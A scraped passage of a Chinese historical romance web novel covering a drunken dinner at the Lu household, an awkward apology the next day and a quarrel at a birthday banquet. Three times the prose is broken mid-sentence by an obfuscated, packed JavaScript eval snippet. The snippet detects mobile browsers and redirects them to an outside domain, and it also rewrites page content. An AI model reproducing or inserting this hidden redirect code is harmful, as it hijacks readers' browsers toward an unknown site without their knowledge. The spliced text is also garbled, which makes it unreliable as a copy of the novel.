助。 陆晏时会意，借势拢住她手，笑着回答团团：“问了你娘亲些事情，没想到耽搁这许久。” 周氏借坡下驴，笑颜招呼大家动筷子吃饭。 饭桌言论，以陆晏时为主，均是宋知意不爱听的。因百无聊赖，她便专心用佳肴吃果酒。 “宋妹妹，你还没尝过这春日酿吧？”周氏手执一个白玉瓶微微摇晃给她看。 她老实摇头表示：“没，我爹管得严，说我还小，不准我碰果酒以外的酒。” 周氏笑道：“这春日酿不可多得，也就是你陆大哥哥今儿难得回家，我才端上桌来。不然，你们可没这个口福。” 周氏说得玄乎，宋知意骤然兴趣盎然，拿了个干净的酒盅，递给周氏：“那大嫂嫂给我倒点，我好品一品它何其美味呗？” 欣然接了酒盅，斟满，复推回去后，周氏道：“只一盅，多的可没有了。” “尝尝鲜就满足了。”她乐观表示，随即握住酒盅，往唇畔送到半途，一个清凌凌的声音响起：“此酒烈，不宜不惯饮酒之人。” 没出息地，她把酒盅置于桌上。 周氏笑道：“不怕，就浅尝一口，不妨事的。” 酒气袅袅，鼻端盈香。她蠢蠢欲动。 见状，陆晏清不再插手，随她自便。 杯酒下肚，喉咙连着胃里热辣辣的，宋知意忙问侍女讨一杯清水缓解症状。接连灌了几口，热乎劲是有所减轻，脑仁却开始沉重起来，眼神亦朦朦胧胧，看那一盘盘一碟碟菜肴，犹如夜空繁星，使人眼花缭乱。她到底支撑不住，拿手扶着额头，昏昏欲睡。 “哎呀，瞧瞧宋妹妹那张小脸，殷红，恐怕是不胜酒力。怨我，一时糊涂，给她推荐什么春日酿呢。”周氏锁眉自责。 陆晏时打圆场：“人已醉了，该找个人送她回家才是正事。”然后环视一圈，目光定格在陆晏清平静的脸上，“安之，咱们这些人里，宋妹妹最信任你；你的品性，我们全放心。安之，你来走这一趟吧。” “不合适。”陆晏清直言拒绝，“不如派个人，通知她家里，等她家里来接。” 周氏面露遗憾：“不巧了。傍晚时我打发下人去宋家托信儿说宋妹妹今晚与咱们多待一阵，谁知宋大人不在家；另外问过宋家人，原来是宋大人被留在了衙门里，预计亥时过了才能到家。” 陆晏时搭腔：“哎呦，那可太迟了。” 陆晏清油盐不进，又提议：“宋姑娘有个无话不谈的好朋友——祥宁郡主家的小少爷，不如知会他来接人。” 周氏叹道：“快别提。郡主这几日正忙前忙后为薛小少爷说亲呢，咱们过去传话的人，八成要吃闭门羹。这法儿行不通。” 屡遭反对，陆晏清失了耐心：“那便留宋姑娘在家住一晚好了，以她同嫂嫂亲如姊妹的情分，外人知道了，也不会说什么的。” 旁听下来，崔璎的心情可谓跌宕起伏。万幸陆晏清意志坚定，始终不肯揽这个营生。她长长舒了口气，迎合道：“是呀，到底是男女有别，还是依二表兄的，由大表嫂收留宋姐姐一宿最为稳妥。” 几人商议之际，宋知意迷迷蒙蒙抬起头，忽然抓住陆晏清的胳膊，含糊不清道：“我不要在陆家住，我要回家……要陆二哥哥亲自送我……” 尝试摆脱无果，陆晏清暂时收了心。 陆晏时见缝插针道：“看看，人宋妹妹自己都提出非回家不可了，谁能忍心强留她呀！” 周氏配合游说：“这姑娘倔，指定要谁送她，那是打死不肯妥协的。若生拉硬拽，大约会一哭二闹三上吊；再严重些，把这房顶都掀了。二弟，权当为了陆家今夜的太平，你就破例送她一次吧。” 崔璎越看越急，忍不住说：“那我坐车送她，二表兄也犯不着进退两难了。” “你个姑娘家，大黑天的不安全。”周氏道。 崔璎不服，打算进一步争取，陆晏清却言：“不必争了，我送她就是。”垂视一眼抱着自己手臂憨笑之人，没奈何道：“你不松手，我怎么送你回家？” 仿佛听懂了，宋知意慢慢地张开臂膀，趴在桌沿，眼睛半闭不闭，呓语不休。 陆晏清胸中烦闷，不愿多看她这个屡屡横生枝节的麻烦，起身吩咐：“春来，套车。” 10. 醉酒放肆 春来套好车，回来告知。陆晏清了然，乜了眼伏在桌上沉沉昏睡的宋知意，对厅中众人说：“我先去外边等。”话毕，昂然出门。 崔璎不得已藏起凝望里的眷恋，移目冷然看周氏帮着芒岁把宋知意扶起来，又是给整理头发，又是命人取一件薄披风给她穿着挡夜风，还不忘记叮嘱芒岁携好随身物品——很是细致入微，亲近得仿佛一家人。 结合刚刚周氏极力撮合陆晏清包揽下护送宋知意回家的活计的情形，崔璎一阵反胃，感觉强烈，以致片刻待不下去，强颜欢笑同陆晏时告辞。 陆晏时也没挽留，嘱咐些夜深当心之类的话，随她去了。 宋知意酩酊大醉，偏偏脑子糊涂，身子上蹿下跳的，一会要往地上坐，一会要跳起来摘天上的星星，简直一刻也不带消停。周氏联合金香、芒岁三个人，费了足足一炷香的工夫，可算把她安抚住，仔细着送出大门口。 彼时，陆晏清等得烦了，好好的玉面公子，硬生生成了黑脸罗刹，源源不断散发着戾气。 春来小心翼翼讨好：“公子别动气，宋姑娘必定是醉得厉害，行动不便，这才慢了，也不是有意为之……” 不是有意？她刚在桌上馋得全然听不进提醒，非碰那烈酒时，可不像是无意的。陆晏清背着手，隐忍不痛快，令春来进家门探探是什么动静。 春来应着才跨过角门，就听不远处周氏的声音：“到家以后，多给她喂点水。身边不能没有人，痰盂也得备着，防她胃里不舒服吐。” 显然在叮咛芒岁。 芒岁答知道了。 周氏又道：“还有，今晚就不要给她洗澡了，洗洗脸漱漱口凑合一夜，明儿清醒完全再大洗。她才吃了酒，身上热，虽然入夏了，但也不敢马虎，洗病了可不是遭半点罪。” 待话音落下，几人已走到春来面前。春来忙将角门大敞开，方便让她们经过。 闻得响动，陆晏清偏过半边身子，见周氏等三个人架着一个宋知意，走得踉踉跄跄，而她耷拉着脑袋，一声不吭，似乎醉迷了。 他忽然就通透了。 罢，她若是肯听自己的，那早就对他敬而远之了，何以至于现今大黑天赖在陆家喝得不省人事。 ……他也是闲的，和那么个冥顽不灵的计较什么。 艰难将人塞入马车后，周氏含笑对陆晏清说：“二弟，宋妹妹便拜托你了。她到底是年纪小，爱闹腾，万望二弟多担待，别与她一般见识。” “我懂，请嫂嫂放心。”末了，抬腿登车。掀帘时，他决略略停顿，最后仍是驱身弯腰入内。 目送车子驶离巷子，周氏像个老母亲，点头笑得慈爱。 金香陪笑道：“二少爷清心寡欲的，能允下这码子事，真是不容易，还得仰仗大少爷和少奶奶您的面子。” 周氏转身往府里走，边说：“咱们家的二少爷，说是冷心冷情，其实那也分对谁。好比适才我劝宋妹妹尝酒，他不就出声拦了么？以我冷眼看来，他待宋妹妹也不是多么厌烦，反倒挺有责任心的。” 金香心里不很赞成她的说法，碍于她是主子，不好反驳，便打了两句哈哈算了。 周氏却开了话匣子，接着道：“当局者迷，旁观者清。让他们两个多相处相处，退一万步，即便没好结果，那也不会太糟糕——二弟是正人君子，克己复礼，必不会欺负了宋妹妹。” 这话金香无比认同。 这一端她们主仆有问有答，闲适安逸，那一端却是另一番光景。 隐隐晃动的车厢内，芒岁搂着宋知意坐一侧，对侧是危坐的陆晏清。 外边夜色茫茫，整个车子全凭门口悬着的一盏油灯照明。光束曳动，光线暗沉。 宋知意无知无觉，芒岁机灵着，决不能失了礼数，诚挚道谢：“今晚多亏大人了，我代替我们姑娘向大人道谢了。” 坦白讲，陆晏清精致皮囊下动荡着的腻烦，芒岁瞧得一清二楚。实际上，她也不愿意自家主子对他痴缠不休，过去也尝试劝了几次，然无济于事，次次以失败告终。她有时寻思，若要宋知意心甘情愿放下执念，除非哪天重重地撞次南墙，撞得头破血流，否则不肯罢手。 陆晏清“嗯”了下，相当之平淡。 芒岁有自知之明，不再叨扰他。 两家住得近，一晃眼就到了。 春来驾的车，他收起马鞭，先跳下车去，后朗声道：“公子，可以下来了。” 俄而，帘拢撩开，陆晏清现身，优雅落地。 芒岁紧随后，咬牙搀扶宋知意挪至出口。 视芒岁那样吃力，春来忍不住道：“要不……小的过去搭把手？” 陆晏清默许。 得了允许，春来快步上前，把握分寸，双手托住宋知意的胳膊，慢慢儿地请她下来。 孰料，她已两脚沾了地的情况下，依然出了岔子：脚腕一崴，直冲一旁陆晏清身上栽下去。更为微妙的是，陆晏清没躲，结结实实接住了她。 春来、芒岁不约而同对上视线，均读懂了对方眼内的惊愕。 扪心自问，接下宋知意，陆晏清并未经过深思熟虑，仅仅是本能反应——他人身处危难之际，他从不介意伸出援手。将才倒下的不管是谁，他都不会冒出躲避的念头，哪怕是令他头疼已久的宋知意。 “别愣着了，扶走你家姑娘。”从她肩膀上抽走手，他向芒岁挑起眼帘。 “哦……哦！”芒岁忙忙去揽宋知意，不提防她再度折腾起来：胡乱挥舞着手臂，防备芒岁靠近，同时大着舌头乱喊：“走……走开……！” 她毫无章法地打来打去，令芒岁不敢轻举妄动，放任她继续牢牢赖在陆晏清怀里之余，拿头乱蹭他的胸膛。 “好……暖和……”她傻笑着，突然攒起眉头，眼睛眯了个缝儿，上下左右检查着眼前，“花花，你肚子不是白的吗？怎的……乌漆嘛黑的？” 花花是她那只爱宠狸花猫的名儿。 喃喃时，伸手戳戳，当然是戳空了——陆晏清猛地退后两步，面皮好似一块抻展的布，底色通黑。 “不知廉……”他乍然住口，随即话锋一转，对准护着宋知意手足无措的芒岁：“方才之事，全当没发生过。带你家姑娘回去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533301|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话尽，一拂袖，上了马车。 春来了解他，他那个表现，是真恼了。故不敢逗留，拔腿追随，迅速坐在车外，扬鞭御车奔上长街。 返程，春来心慌，终归忍不住，试探道：“公子，您……还好吧？” 里头倒是很快传出声音：“无碍。”——听感上，和平常没什么两样，应当是归于冷静了。 春来悬心落定，一心赶车。 * 自工部出来，天地一片苍茫。举目望天，但见一钩残月半隐于云中。宋平扭扭脖颈，僵直酸困感稍微减轻。 随从王贵牵马过来。宋平松一松腰带，踩着马镫翻上马背，夹着疲惫道：“家里一切都好吧？” 王贵答：“一切都好。姑娘呢，今晚在陆家吃的晚饭，还是陆二公子亲自送回家的。” 宋平意外道：“稀奇。”他腾出只手，摩挲着下巴，若有所思，“照这么发展，我宋家飞黄腾达，指日可待啊！” 王贵跟在马背底下，犹豫好一阵，委婉道：“老爷，我有句话不知当不当讲……” 宋平慨然道：“做生意那会，你就跟我走南闯北；后来入了仕途，你就给我管家。你我大半辈子的情谊，我早就把你当家人了。一家子人，说话用不着吞吐呕吐的。你直说，我听着。” 王贵道：“老爷高看我，是我的荣幸，那我就敞开心怀说几句——” “我能从一个孤儿出身的小摊贩，到今日指挥调度一大家子的管家，享受前所未有的体面荣光，全依仗老爷的提携……我感激涕零。正因此，我也一直把宋家当作我自己的家，把老爷、故去的夫人、姑娘，以及宋家上下几十口人，当作我自己的亲人。我很珍惜大家。” “……所以看了老爷在官场上遭遇风风雨雨，止不住地心惊……我晓得老爷的志向，也晓得我接下来的话不中听，可，老爷，这官儿做到多大算大呀……这天底下，终究是老百姓多，以您的官职，已经是芸芸众生不可高攀的存在了，再执着下去，又能怎么样呢……” “功名利禄，人人艳羡，人人追逐，但又有几个人能唾手可得呢？纵使得到手，说到底就是身外之物，生不带来，死不带去。而一家人能团团圆圆，喜乐安康，看似是寻常小乐，实则‘寻常’二字，才是人生最可贵的呀！” 尾音之后，是长久的静默。 宋平勒马停驻，侧目而视，发现王贵老泪纵横，道不尽地凄凉。宋平深受触动，为之一叹：“你说得对。可我又何尝不想抽身，只是宦海沉浮，身不由己。世人皆骂我是奸佞小人，此话不假——这些年我为出人头地，左右逢源，四处巴结，做小伏低……豁出多少脸面，付出多少钱财！如果就此收手，与世无争，我活着不能够甘心，死了也不能瞑目。” 他仰望夜天，那片夜空，一如他的欲壑，无限膨胀，无边无际。 云层游弋，渐渐蔽月。宋平如梦初醒，慌慌张张道：“哎呀呀，光顾着闲聊，时辰忘得干干净净。走走走，快回家，如意那丫头也不知是醒着还是睡了。我得看一眼才安心。” 王贵收拾心情，恢复如常，一路相随。 11. 事后尴尬 这天半夜，宋知意起身呕了好几次，弄得芒岁提心吊胆，眼睛一整宿没敢合实，临到五更天才迷迷糊糊歇了阵。 因为惦记着她次日应去陆家上课，芒岁大清早强撑着爬起来，一见她睡得死死的，脸色也泛白，便先去和宋平商量，决定今儿告个假，安心养养，等明儿再过去。 而宋知意转醒时，外面已然艳阳高照，一问芒岁，回说是快午时了，假如她再不睁眼，芒岁也要强行叫她起来了。 “我头好疼，跟不是自己的一样……”她慢悠悠坐起来，芒岁眼疾手快往她背后塞了个引枕，她倚靠着，伸手捧住芒岁递来的温水啜了两小口，感觉好点了，便凝眉回忆着昨夜的事，可惜记忆断断续续的，只拼凑出在饭桌上品尝那春日酿画面，往后就彻底续不上了。于是扶额盘问芒岁首尾。 芒岁面露难色。她视之稍感不安，迟疑道：“我是醉了，那我不会当着众人说了什么傻话，或者做了什么傻事吧？” 芒岁察言观色道：“那我如实告诉姑娘，姑娘可得有个心理准备。” 她点一点头，颇有些视死如归的模样：“只要不是直接对着陆二哥哥的，那都不算事。你说吧！” 结果，及芒岁和盘托出事实以后，她顿时受到了一记重击，脑子里轰然一片，当即抱着被子滚到床角，身躯蜷缩，无声尖叫。 “已经那样了，姑娘还是想开点吧。反正我看着，小陆大人挺体面的，好像并没有多动气……”芒岁自己也觉得心虚，音量越来越小。 “他指定生气了！”宋知意扔开被子，爬将起来，抓了披散着的头发，懊悔万分，“他不当场丢开我，是他的教养……喝酒误事，醉酒更误事，我真是傻了。他原本就烦我，这下好了，估计再也不想看见我了。” 芒岁昧着良心道：“姑娘也用不着太悲观了，那不是意外嘛，小陆大人通情达理，大抵可以理解的。” 宋知意全然听不进去，一个上午垂头丧气的。 午饭后，小丫鬟交给芒岁一封帖子，说是郡主府送来的。芒岁即刻擎与宋知意，说明出处。 彼时，宋知意仍在为昨晚的莽撞冒失而后悔，闻听郡主府递了帖子，不甚注重，懒懒道：“八成又是薛云驰搞的鬼。你先搁那吧，我一会拆开看。” 芒岁同样知晓薛景珩专喜欢装神弄鬼逗自家姑娘，遂找了个小妆奁，把帖子在梳妆台上压着边角，转头询问：“厨房熬了酸梅汤，姑娘有胃口喝吗？” “随便对付两口得了。” 芒岁应声出去。 痴坐了几个时辰，不止肠子悔青，筋骨同快锈住了。宋知意伸个懒腰，穿鞋下地，取了那帖子转悠至外间的大窗子跟前，一面推窗透风，一面拆开过目。 正值芒岁端汤返回，就见她随手掷开那帖子，调侃：“一个生日，哪年不是过？往年也不见他文绉绉写了请帖给我，单是嘴上一提。今年倒新鲜，花样百出。” 当心将碗勺放置完毕，芒岁静心稍加思量，恍然道：“是了，后日就是薛小少爷的生日，合着那帖子是生辰请帖啊。” “也多亏了这封帖子，要不是它，我都没记起来后天是他的大日子。万一误了，凭他那臭德行，又该跟我较劲了。”宋知意转身回里间，抱臂胸前，沉吟不语。 她的心事，芒岁猜着了，追在身后说：“姑娘可是在为生辰贺礼而发愁？” 宋知意接言：“他那个人，要什么有什么，我是想不出他有哪样缺的。” 芒岁出谋划策：“我脑子里有个印象：薛小少爷曾说姑娘插的花很有趣。姑娘既没头绪，那不如从后园子里剪几枝花，搭配着插瓶，后天带过去应应景？” 自在陆家接触插花后，宋知意就爱上了侍弄花草，闲下来就研究怎么插瓶养眼，手底下做出不少作品。宋平第一个捧场，抱了三瓶，卧室、书房、衙门，各放一瓶；兼之每天抽空亲手打理，就差晚上搂着睡觉了。可见其重视程度。 宋知意却嫌弃道：“光这个，太拿不出手了。得了，一会你陪我上万宝阁，我挑一把折扇，后天带给他吧。” 她不陷在负面情绪里，情愿出门，芒岁求之不得呢，喜上眉梢，一口应下。 歇过午，主仆二人坐车离家，直抵万宝阁。 薛景珩性格张扬不羁，所穿所用同样花里胡哨。按照他素日的品味，选好扇子，出了万宝阁，又随处逛了逛，便回了家。 次日，宋知意穿戴素净，往陆家去。总共那么几步路，她走得沉重不堪，口里也不闲着，一直问芒岁今儿碰见陆晏清，该当如何。 芒岁也答不上来，正琢磨顺耳话劝慰她时，迎面驶来一辆马车，上头挂着印有“陆”字的两个灯笼，而驾车的恰恰是春来。 “吁——”春来勒马，停在那对主仆面前，含笑打招呼：“宋姑娘好，芒岁姑娘好。” 宋知意没理会，悄摸地往关闭的车窗上瞄，依稀看见个笔直的人影。她猜想，十有八九是陆晏清。 “怎么还不走？”车子里传出个清醇的声音，听得宋知意如芒在背——果然是他。 春来道：“回公子，是碰见了宋姑娘。” “问过好了么？” 春来回：“问过了。” “那就走吧。” 春来犹犹豫豫，试问：“公子……不打算和宋姑娘说几句话吗？” 关乎他对自身的态度，宋知意的心几乎提到了嗓子眼，屏息侧耳，专注聆听。 “男女有别，理应避讳。”他的口吻，相当淡漠。 漠然的是他，窘迫的是春来，他恨不能自抽两嘴巴子，为自己自作聪明下的胡言乱语赎罪。 “是，是……”春来扭身，以干巴巴的笑脸面对宋知意，“那不耽误两位姑娘了。” 眼瞅春来作起扬鞭打马的姿势，宋知意沉不住气，急切道：“陆二哥哥且慢！” 春来收回动作，任她走近，扒着车厢，透过薄薄的纱帘，朝内探视。 “宋姑娘，这于礼不合。再者，我有约在身，不宜逗留。”他音色冷清，纱幔后的身姿端庄正直——处处昭示着疏离。 “我就一两句话，不会拖你很久的……”昨晚失态，冒犯了他，宋知意自知不该，苦着脸说，“陆二哥哥，你就许我说完吧，不然我憋也要憋死了……行吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533302|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚣张跋扈、娇纵无礼，乃她的代名词。她即使做了错事，亦可安然狡辩自己有理傍身，不会有错。如此一个人，同谁心甘情愿地低过头？而陆晏清偏偏是个例外，叫她再三委曲求全的例外。 一头是与友人的约定，一头是她固执的央求，陆晏清略一思索，权衡利弊，决计速战速决——若硬不顺着她，按她的脾性，大约又要生事端，等于自寻麻烦。不妨由她张嘴说，待倾诉完了，他也就脱身了。“想说什么，说吧，我听着。” 机会来之不易，宋知意不敢浪费，将酝酿多时的说辞脱口而出：“前天晚上，我真没感觉了，轻薄了你，纯属于无意之举……陆二哥哥，你别跟我置气了，可以吗？” 陆晏清不由蹙眉：“轻薄？” 相隔一层纱，宋知意所见他之轮廓朦朦胧胧，至于他的微妙神情，更加难以辨明。故此，老老实实道：“是……我已经知错了，昨天一醒来就反省，反省到现在……陆二哥哥，你宽宏大量，一定能体谅我的，对不对？” 陆晏清失笑道：“你崴了脚，我搀扶你一把，乃举手之劳，何来的‘轻薄’？” “可我还把脸在你……” “那是意外。”他打断她。默然须臾，又道：“我帮你，是无心之举；你所说的轻薄，是刻意为之——不可混为一谈。” 她不解释尚可，一通拼命解释，顺理成章给陆晏清留下了个“不学无术并口没遮拦”的印象。 宋知意捕捉到重点，脸上渐渐云开见日：“对，我确实不是故意的！……那既然陆二哥哥你承认是意外了，是不是代表你不和我生气了？” 陆晏清不答反问：“只此而已？还有其他事么？” 她正是为一个确切答复才百般阻挠他走的，而今他闭口不谈，她当然不能轻拿轻放，势必打破砂锅问到底：“陆二哥哥，你还生我气吗？” 她不依不饶，而为了顺利抽身赴约，陆晏清只好回归她的问题，平淡道：“我没必要跟宋姑娘动气。” 有他无视自己的前车之鉴，宋知意疑神疑鬼，追问：“你当真不气了？” 陆晏清懒得纠正他并非不气，而是从未跟她斗气，敷衍一“嗯”。 宋知意终于放心，又恢复常态，找话题套近乎：“陆二哥哥坐马车出来，是今日不上值吗？”他鲜少乘车，出发上朝，以马代步；办私事的话，近则步行，远则骑马。 陆晏清惜字如金道：“休沐。” “哦……”遇上他，她总有说不尽的话，“你刚刚说有约在身，你约了谁呀？我认识吗？”她其实是好奇他所约之人是男是女。 “一个故友。”陆晏清耐着性子道。 “啊，这样啊……”他不愿意明说那人身份，她免不得猜疑，越猜疑，越没底，整个人可见地耷拉了下去。 她或是失落，或是怎样，陆晏清一概不关心。掐指算算时辰，快迟到了。便道：“酒量不佳，最好不碰。误事是小，伤身为大。时间不早，宋姑娘进家门吧，以免迟到挨罚。我也先行一步了。” 他去意坚定至此，总不好一直厚颜拖延。宋知意缓缓让开路，目视车轮滚向远方。 12. 竹马生辰 为庆贺薛景珩十七岁生日，祥宁郡主及其丈夫薛裕，倾尽人情人脉，向诸位皇亲国戚、京城士宦人家发出邀贴。众人欣然捧场，连宫里的公主皇子也亲临现场，帝后、太后亦派遣身边红人前来道贺。场面空前盛大。 这日大清早，薛家门前车水马龙，人头攒动，宋知意的马车根本挤不进去，唯好远远地停靠下车，携芒岁走路入薛府。 及至人群外围，右手边忽然闪出个人影，随即右手腕给扯住，打眼一瞅，是一身绯衣，头顶玉冠的薛景珩。“这人多，不好走，我领你走角门进去。” 他手劲大，出现得也突然，宋知意来不迭挣扎，只慌忙回头告芒岁跟紧了，注意别走散。 芒岁唯唯诺诺。 宋知意来过薛家几次，对薛家还算熟悉，眼看这路越走越偏，心觉怪异，直白道：“你的席不是设在花厅吗？这不是去花厅的路呀。” 薛景珩目视前方，道：“我有话跟你说。” “有话说？”她越发不解，“说话就说话，哪里不能说，非七拐八绕的，都不知道拐什么地方去了。” 薛景珩道：“我的话是私下对你的，不想其他人听着，所以得寻个僻静处。” 她习惯性地嘲讽：“你老是装神弄鬼的，真没意思，我懒得理你。” 薛景珩冷不丁站住，回过身，手却没撒，捏着她手腕子，板着面孔道：“我没意思，那你觉得谁有意思？” 觑他面色青黑，好像是恼怒了，她骤感荒唐，嗤笑道：“你又哪根筋搭错了，整出那个死人般的嘴脸？” 她的诘问，薛景珩置若罔闻，光揪着问：“你说我没意思，那你说说，谁有意思。” 宋知意也恼了，将手一夺，一摔，冷笑道：“我才来，话都没讲几句，你就对我盛气凌人的。问你，你还装聋。薛云驰，你最近一再摆脸子给我看，语气也牛哄哄的，你是不是被野狗咬了，传染了疯病了？” “我到底为什么不高兴，你不知道么？”她抽了手，他的手心空落落的，然他的双目截然不同，全然摄着一个她。 宋知意强忍捶他一拳的冲动，无力发笑：“那你说说明白，我哪处得罪了你。否则莫须有的冷眼和谴责，我是断然不认的。” 缄默少时，薛景珩咬牙道：“我这些天不找你，你为什么也不找我？” “……你好歹动动脑子，我近来不都在陆家受教吗，哪儿来的闲暇找你？”他的蠢问题，成功转移了她的注意力，她像看傻子似的看他，噗嗤一笑，“再说了，纵使我忽略了你几天，以咱们俩的交情，你至于动辄就大发雷霆的吗？你的心眼难道是针做的不成？” 薛景珩一点不让着她：“是我没脑子，还是你压根觉得我这号人可有可无，因此我是活着或是死了，你都安心不闻不问？” “你有没有良心？我不闻不问，那我今儿顶着大太阳过来干嘛来了，莫不是嫌家里冰块镇着太凉快太舒坦，专门出来找不痛快了？”他一味血口喷人，彻底惹毛了她，她抡起拳头对着他上半身打个不停，“薛云驰，薛景珩——！你活活就是个泼皮无赖！你狗咬吕洞宾，不识好人心！” 她打，薛景珩闷声受着。待她打累了，除去戾气，挨着芒岁气喘吁吁时，他说：“那你知不知道，你自由自在这几天，我被我母亲锁在屋子里，被迫听那官媒婆在耳根子边溜嘴皮子——夸这家姑娘温婉贤淑，赞那家千金才貌兼得。我躲又躲不得，几乎烦死了。” “反观你宋如意，可谓人如其名，我在那煎熬，你在陆家，又是吃晚饭，又是品美酒，到最后还和你的陆二哥哥共乘一车，当街搂搂抱抱——仿佛如鱼得水，混得风生水起，称心如意。” “这样理论下来，你仍会觉得你无辜，而理直气壮斥骂我的话，我无话可说。你或打或骂，随你的便。” 此长篇大论，包含的信息太多太杂，宋知意自个消化半日，方才尝出咸淡来，惊讶道：“官媒婆上你家……你要跟谁提亲？” 敢情费了这么多唾沫星子，她该曲解依然曲解。薛景珩蓦然气笑了：“怎么就成我和谁提亲了？你没听见我是被锁在家里，迫不得已接受那没完没了的吹嘘的？” 宋知意一拍手：“那不还是给你说媒的，我寻思也没理解错。” 看解释不通，薛景珩索性将错就错，问她：“那媒婆给我说媒，你是怎么看的？” 此一问，切实地难住她了。他们大小玩到大，她觉得自己还小，远没到谈婚论嫁的时候，他也一样，是个每天和自己吵嘴的小屁孩。可这乍乍地就说为他说亲……着实怪怪的。倒不是有意见，她为人很开明很公平的——她有心上人，那总不能拦着他独自守着当光棍吧！此外，待他也有了在意的人，就不会总盯着她对陆晏清怎样怎样，而阴阳怪气了，何尝不算一件喜事呢。 她豁然开朗，怡然接受现状。 “反正不是坏事。”她耸肩摊手，“如果对方人品好相貌佳，同出身高门贵族，配你也够够的了。” 薛景珩如鲠在喉，待回过味来，险些原地跳起来：“你就如此轻描淡写应付我的？” 双方有了新鲜话题可聊，宋知意不觉将适才脸红脖子粗的争执抛在脑后，以慈眉善目示人：“我很认真的。你看你老不忿我提陆二哥哥，那现在有人替你打算，等你也有了心上人，你就有事可干了，自然顾不上频频跟我赌气了。一箭双雕，两全其美，多好啊。” “呵……”薛景珩自嘲一笑，“这个关节，你还在惦记你的陆二哥哥……我真是闲得慌，明知你是个蠢货，我偏不信邪，非跟你争个高低。”他一挥袖，视线越过她，投诸于来时路，“我母亲也差人往陆家递了请帖，不出意外，你的陆二哥哥也出席了。走吧，去前院，寻你的陆二哥哥，继续在众目睽睽之下，热脸贴冷屁股，然后被人指指点点，由人耻笑吧。” 不再管她是何面目，他丢下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542048|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，潇洒走人。 莫名遭了一顿丑话，宋知意怨愤难平，当场呵斥芒岁把抱了一路的生辰礼就地丢弃，她非踩个稀巴烂，不然过不去这个坎。 芒岁理智，不听她，护在怀里，一面苦口婆心宽慰她。 好在她是个直性子，气来得快去得快，瞥一眼那红木匣子，念那东西值不少银子，勉强休了毁坏作贱之意，循着来路，边逢人打听，顺顺利利抵达前厅。 前厅乃招待男宾的场所，蓦地闯入两个貌美小娘子，在场众人齐刷刷朝她们注目。 薛景珩共一帮狐朋狗友混迹其中。 一个公子哥儿摩挲着下巴，调侃道：“云驰，那站着的不是宋家姑娘吗？你天天追在人家身后，千方百计博人家笑颜，如今人家误入歧途，你怎么不去解围，反而坐得实实的？” 其余人俱捧杯不语看好戏。 薛景珩自斟一杯酒，送于唇畔，目光却不在眼前琼浆上，一直落在对桌御史台诸官员的一举一动上。 此刻，陆晏清敛祍起身，向同僚拱手表示去去就来。御史台众位望见前面呈迷茫之态的宋知意，均心领神会，纷纷体面回复他尽管自便，这头不着急。 陆晏清无别话，长影迎光，经过各个圆桌酒席，与宋知意会面。 薛景珩及时撤回注视，堪堪避开那二人碰面私语的一幕。他终于记起唇际微凉，一饮而尽。后来玩味道：“自有人维护她，我何必露那个脸，多此一举。” 大家瞧他怏怏不乐，黯然神伤，免了打趣他的心思，回归吃酒作乐。 话说宋知意兀自迷惑间，陆晏清翩翩然而来，扔下一句话：“此处不是你该来的，女客席在后院。” 恍惚过，错乱过，她挠挠头，没好意思分辩自己并非不留神过来的，实为听闻他在此，预谋找来的。 “宋姑娘，”只言片语的空子，她又神思出走了，陆晏清沉着脾气，叫她恍回神，“为了你的清誉，此地不宜久留，快快离去吧。”他用眼色指了一条明路，“沿着那条路直走，一盏茶即到后院。” 他以不容置喙的语态给她安排妥善，思及昨天街上他爱搭不理、不屑一顾的光景，她有些胆怯，生恐一个没管住嘴，又触着他逆鳞。遂谎称：“哦，我走错路了，幸好陆二哥哥你及时出现解救我……多谢陆二哥哥了。” 听见她死性不改，坚持以“陆二哥哥”称呼自己，陆晏清万般无奈，收起再次纠正的念想——他为人低调，公然离席指引她已然引人注目，设若跟她就一个称谓而讲大道理，未免招摇太过。他不喜欢那样。 “不必言谢。”他站姿微斜，让开前去后院的路，“请吧，宋姑娘。” 才分明说过是偶然闯来的，她也没理由赖留恋，皮笑肉不笑道：“那陆二哥哥少喝点酒，喝酒……伤身。我先走了。” 以目相送她远离后，陆晏清信步回席，正襟就座。举手投足之间，优雅贵气浑然天成。